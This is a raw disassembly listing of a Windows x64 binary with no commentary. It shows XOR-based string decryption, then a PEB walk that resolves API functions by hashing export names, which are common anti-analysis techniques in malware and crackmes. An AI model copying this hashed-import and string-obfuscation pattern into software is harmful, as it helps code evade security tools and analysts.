mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xor ecx, ecx
cmp r13d, 2
jl 0x1400389f8
movdqa xmmword [rsp + 0x50], xmm10
lea rdx, [rbp + 0x654]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140038910
cmp ecx, 0x53
jge 0x140038a3c
movsxd rax, ecx
lea r8, [rbp + 0x650]
add r8, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x53
jl 0x140038a10
lea rdx, [rbp + 0x650]
mov rcx, r9
call fcn.140042b00
lea rdx, [0x140043200]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop dword [rax + rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140038af6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140038af6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0x314b6bfa
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038af1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140038ad0
cmp r8d, 0x97666ad2
je 0x140038afb
test r9d, r9d
jne 0x140038ab0
mov rax, qword [rax]
jmp 0x140038a80
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x73
call rdx
test ax, ax
jne 0x14004198e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140038bb6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140038bb6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r14]
add rdx, r10
mov r8d, 0xd3680969
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038bb1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140038b90
cmp r8d, 0x684b3be9
je 0x140038bbb
test r9d, r9d
jne 0x140038b70
mov rax, qword [rax]
jmp 0x140038b40
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x74
call rdx
test ax, ax
jne 0x14004196c
mov rcx, qword [0x140063150]
call fcn.140014a50
call fcn.14002afc0
mov rcx, qword [0x140063150]
call fcn.140014780
jmp 0x140038620